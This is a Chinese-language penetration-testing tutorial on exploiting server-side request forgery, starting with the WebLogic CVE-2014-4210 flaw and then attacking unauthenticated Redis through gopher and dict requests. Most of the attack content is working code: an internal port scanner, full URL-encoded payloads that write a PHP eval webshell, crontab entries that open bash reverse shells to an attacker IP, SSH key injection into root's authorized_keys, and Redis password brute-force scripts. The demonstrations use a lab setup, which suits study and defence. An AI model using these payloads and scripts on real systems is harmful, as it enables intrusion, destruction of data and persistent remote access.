利用SSRF滲透內網主機-上
利用WebLogic的SSRF漏洞探測內網信息漏洞描述
Weblogic中存在一個SSRF漏洞,利用該漏洞可以發送任意HTTP請求,進而攻擊內網中redis、fastcgi等脆弱組件。
CVE編號:CVE-2014-4210
影響范圍:
?Oracle WebLogic Server 10.3.6.0
?Oracle WebLogic Server 10.0.2.0
環境搭建
下載vulhub:git clone https://github.com/vulhub/vulhub.git
進入目錄:cd vulhub/weblogic/ssrf/
啟動環境:docker-compose up -d
訪問:http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
出現以下頁面,說明測試環境ok。
漏洞復現
開啟Burp代理,提交表單

從返回頁面的結果的報錯上看,當提交表單的時候會訪問下面這個URL,并做XMLSoap解析,這個錯誤就是我們SSRF漏洞產生的關鍵點

為了驗證是否存在SSRF漏洞,我們將operator的值改為DNSLog生成的記錄

在DNSLog中可以看到請求的內容,說明存在SSRF漏洞

探測內網存活IP
若ip不存在時返回如下信息(會一直請求該地址,直到超時)

若ip存在則返回如下信息

探測端口
若端口不開放返回如下信息

若端口開放返回如下信息(分兩種情況)
若開放的端口為非Web端口

若開放的端口為Web端口(還分為請求類型是否為text/html)
text/html類型

非text/html類型

我們可以利用返回信息來進行內網探測
內網探測腳本編寫
編寫一個python腳本自動化探測內網的存活主機ip與開放端口
#!/usr/bin/env python
# coding: utf-8
# 功能:掃描內網開放ip及端口
import argparse
import thread
import time
import re
import requests
def ite_ip(ip):
for i in range(1, 256):
final_ip = '{ip}.{i}'.format(ip=ip, i=i)
thread.start_new_thread(scan, (final_ip,))
time.sleep(3)
def scan(final_ip):
ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '6379', '4899', '8080', '7001', '8000')
for port in ports:
vul_url = args.url + '/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip, port)
try:
r = requests.get(vul_url, timeout=15, verify=False)
result0 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException', r.content)
result1 = re.findall('route to host', r.content)
result2 = re.findall('but could not connect', r.content)
if len(result0) != 0 and len(result1) == 0 and len(result2) == 0:
out = "port exist: " + final_ip + ':' + port
print out
except Exception, e:
pass
def get_ip():
vul_url = args.url + '/uddiexplorer/SetupUDDIExplorer.jsp'
r = requests.get(vul_url, timeout=15, verify=False)
reg = re.compile(r"For example: http://\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\ b")
result1 = reg.findall(r.content)
result = ""
if result1:
result = result1[0].replace("For example: http://","")
return result
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Weblogic SSRF vulnerable exploit')
parser.add_argument('--url', dest='url', required=True, help='Target url')
parser.add_argument('--ip', dest='scan_ip', help='IP to scan')
args = parser.parse_args()
ip = '.'.join(args.scan_ip.split('.')[:-1])
#print ip
#ip = get_ip()
if ip:
ite_ip(ip)
else:
print "no ip"

SSRF結合Redis未授權訪問GetShell漏洞描述
Redis因配置不當可以未授權訪問(竊取數據、反彈shell、數據備份操作主從復制、命令執行)。攻擊者無需認證訪問到內部數據,可導致敏感信息泄露,也可以惡意執行flushall來清空所有數據。攻擊者可通過EVAL執行lua代碼,或通過數據備份功能往磁盤寫入后門文件。
在這里主要講解SSRF的利用,所以就不對Redis的協議進行分析了,直接使用Exp進行利用。
之后會對Redis的漏洞進行深入學習。
常見redis反彈shell的bash腳本
redis-cli -h $1 -p $2 flushallecho -e "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.86.131/8080 0>&1\n\n"|redis-cli -h $1 -p $2 -x set 1redis-cli -h $1 -p $2 config set dir /var/spool/cron/redis-cli -h $1 -p $2 config set dbfilename rootredis-cli -h $1 -p $2 saveredis-cli -h $1 -p $2 quit?flushall:刪除所有數據庫中的所有key。這行代碼感覺不是很有必要。。。
?-x參數:從標準輸入讀取一個參數:
?在redis的第0個數據庫中添加key為1,value為\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n的字段。最后會多出一個n是因為echo重定向最后會自帶一個換行符。?dir 數據庫備份的文件放置路徑
?Dbfilename 備份文件的文件名
漏洞利用
推薦使用Gopherus可以幫助我們直接生成gopher payload,以利用SSRF GetShell。
項目地址:https://github.com/tarunkant/Gopherus
寫入WebShell
利用條件:
1.redis 需要對網站中的目錄有寫權限
2.知道網站絕對路徑
使用Gopherus生成payload:
./gopherus.py --exploit redis

再對生成的payload進行URL編碼,就是我們最終生成的payload

放入URL參數瀏覽器請求如下,成功執行Redis命令寫入webshell。
http://hackroom.com/mylabs/ssrf/curl_exec.php?url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252436%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2527hackme%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
成功寫入WebShell


crontab 定時任務反彈 shell
利用條件:
?Redis需要使用root用戶啟用(不是通過service或systemctl啟動)
?這個方法只能Centos上使用,Ubuntu上行不通,原因如下:
1.因為默認redis寫文件后是644的權限,但ubuntu要求執行定時任務文件/var/spool/cron/crontabs/<username>權限必須是600也就是-rw-------才會執行,否則會報錯(root) INSECURE MODE (mode 0600 expected),而Centos的定時任務文件/var/spool/cron/<username>權限644也能執行
2.因為redis保存RDB會存在亂碼,在Ubuntu上會報錯,而在Centos上不會報錯
由于系統的不同,crontrab定時文件位置也會不同
Centos的定時任務文件在/var/spool/cron/<username>Ubuntu定時任務文件在/var/spool/cron/crontabs/<username>Centos和Ubuntu均存在的(需要root權限)/etc/crontabPS:高版本的redis默認啟動是redis權限,故寫這個文件是行不通的
使用gopher協議寫入
使用Gopherus生成payload:
./gopherus.py --exploit redis

再對生成的payload進行URL編碼,就是我們最終生成的payload

放入URL參數瀏覽器請求如下,成功執行Redis命令,寫入計劃任務,執行反彈shell。
http://hackroom.com/mylabs/ssrf/curl_exec.php?url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252469%250D%250A%250A%250A%252A/1%2520%252A%2520%252A%2520%252A%2520%252A%2520bash%2520-c%2520%2522sh%2520-i%2520%253E%2526%2520/dev/tcp/192.168.123.66/1234%25200%253E%25261%2522%250A%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252416%250D%250A/var/spool/cron/%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
成功在計劃任務中寫入反彈shell命令(每分鐘執行一次)

在攻擊機上使用nc啟用監聽nc -lvp 1234,等待一會成功反彈shell

使用dict協議寫入
dict 協議是一個字典服務器協議,通常用于讓客戶端使用過程中能夠訪問更多的字典源,能用來探測端口的指紋信息。
協議格式:dict://<host>:<port>/<dict-path>
一般為:dict://<host>:<port>/info 探測端口應用信息
執行命令:dict://<host>:<port>/命令:參數 冒號相當于空格,在 redis 利用中,只能利用未授權訪問的 redis
與 gopher 不同的是,使用 dict 協議并不會吞噬第一個字符,并且會多加一個 quit 字符串,自動添加 CRLF 換行。

其他的與 gopher 沒有太大差別。
在 redis 未授權訪問中,當傳輸命令時,dict 協議的話要一條一條的執行,而 gopher 協議執行一條命令就行了,所以一般 dict 協議只是當個備胎用。
而且在傳輸命令時,若命令中有空格,則該命令需要做一次十六進制編碼。
在這里使用了一個大佬寫好的python腳本進行利用:
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib2,urllib,binascii
url = "http://hackroom.com/mylabs/ssrf/curl_exec.php?url=" # 存在 ssrf 的 url
target = "dict://127.0.0.1:6379/" # redis 內網服務器地址
cmds = ['set:mars:\\\\"\\n* * * * * root bash -i >& /dev/tcp/192.168.123.66/9999 0>&1\\n\\\\"', # shell接收地址與端口號
"config:set:dir:/etc",
"config:set:dbfilename:crontab",
"bgsave"]
for cmd in cmds:
cmd_encoder = ""
for single_char in cmd:
# 先轉為ASCII
cmd_encoder += hex(ord(single_char)).replace("0x","")
cmd_encoder = binascii.a2b_hex(cmd_encoder)
cmd_encoder = urllib.quote(cmd_encoder,'utf-8')
payload = url + target + cmd_encoder
print payload
request = urllib2.Request(payload)
response = urllib2.urlopen(request).read()
從腳本的執行結果可以看出,dict 協議需要一條一條執行

寫入成功

寫入SSH公鑰
利用條件:
?Redis需要使用root用戶啟用
通過在目標機器上寫入 ssh 公鑰,然后便可以通過 ssh 免密碼登錄目標機器。
生成ssh 公/私鑰
ssh-keygen -t rsa
一直回車即可

可以在家目錄的.ssh/下看到生成的結果,分別為私鑰和公鑰

未授權訪問直接寫
Copyflushall set 1 'id_rsa.pub 里的內容' config set dir '/root/.ssh/' config set dbfilename authorized_keys save
然后通過ssh -i /root/.ssh/id_rsa root@192.168.123.66 即可免密登錄遠程機器
結合 SSRF
編寫腳本將內容轉換為 RESP 協議的格式
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib
protocol="gopher://"
ip="192.168.123.66"
port="6379"
sshpublic_key = "\n\nid_rsa.pub 里的內容\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
"set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print urllib.quote(payload)
執行腳本,放入URL參數瀏覽器請求如下
http://hackroom.com/mylabs/ssrf/curl_exec.php?url=gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%2524569%250D%250A%250A%250Assh-rsa%2520AAAAB3NzaC1yc2EAAAADAQABAAABgQCz64S4uDZGCLcmvzAPllttoM8F2ou3gtVJKO41/zA1/v6iDds%252BuNUgaUKC7Ntx%252BHqDTB98Hbl8CmvVkWqvNd3D3lo1KF2qikNuel/Fx4inoi8T8ECGcXqUVkq8mB0sG0opbYTwNnFrwd4sY0eXD%252BhRmwfAfVPLbOGC8hwKPSckUghWm2DAQPSqQPC290CTDcz%252BBxDNAVhbxPH/de0depH6fCoCQOA3CtnabfFU8jVosfR4T2D80BlMtIzo/OsZxzUtUikcN7e1a/vjXy5YrMRAlZ6JxAHrkenhhPEqubpUdIr0vONHsjbfGBnh0T3SS/Tr/EWlTWuSSjF/L%252BMseqIj8ojN0/8EACmyqHWady0ZZNSXW2hNcAey7plp8ETMaXdPiXG1SuVriq/XmN/b80sovkTprHIzJzmaqa2NWNHwXgrtmVHhs7DkN8R6FjsiydzSRBLf9oDg4K6/1tS7TneYHGyp3aNCtmGnXi8TjILbUloPhRzxfHWVwhKfF%252BBTlC0%253D%2520root%2540Ulysses%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252411%250D%250A/root/.ssh/%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%252415%250D%250Aauthorized_keys%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
可以看到在受害者的機器上成功寫入攻擊者的公鑰

這樣一來就可以使用ssh無密碼遠程登錄了

SSRF暴力破解內網Redis弱口令在內網redis需要密碼的情況下,使用dict協議或者gopher協議登錄。
使用dict協議暴力破解
在登錄錯誤的情況下返回如下信息

在登錄正確的情況下返回如下信息

自動化腳本編寫(python3):
import urllib.request
import urllib.parse
url = "http://hackroom.com/mylabs/ssrf/curl_exec.php?url=" # 請輸入目標url
param = 'dict://192.168.123.188:6379/auth:'
with open('passwords.txt', 'r+') as file:
passwds = file.readlines()
for passwd in passwds:
print("正在嘗試密碼:" + passwd)
passwd = passwd.strip("\n")
all_url = url + param + passwd
request = urllib.request.Request(all_url)
response = urllib.request.urlopen(request).read()
# print(response)
if "+OK\r\n+OK\r\n".encode() in response:
print("[+] 爆破成功 密碼為: " + passwd)
break
使用gopher協議暴力破解
在登錄錯誤的情況下返回如下信息

在登錄正確的情況下返回如下信息

自動化腳本編寫(python3):
import requests
target = "http://hackroom.com/mylabs/ssrf/curl_exec.php?url=" # 請輸入目標url
rhost = "192.168.123.188"
rport = "6379"
with open("passwords.txt","r+") as file:
passwds = file.readlines()
for passwd in passwds:
print("正在嘗試密碼:" + passwd)
passwd = passwd.strip("\n")
len_pass = len(passwd)
payload = r"gopher://" + rhost + ":" + rport + "/_%252A2%250d%250a%25244%250d%250aAUTH%250d%250a%2524"+str(len_pass)+r"%250d%250a"+passwd+r"%250D%250A%252A1%250D%250A"
url = target+str(payload)
text = requests.get(url).text
if "OK" in text:
print("[+] 爆破成功 密碼為: " + passwd)
break
注:若redis在受害者本地的服務器,可以直接使用file協議讀取配置文件中的密碼
常見的Redis配置文件路徑如下:
?/etc/redis.conf
?/etc/redis/redis.conf
?/usr/local/redis/etc/redis.conf
?/opt/redis/ect/redis.conf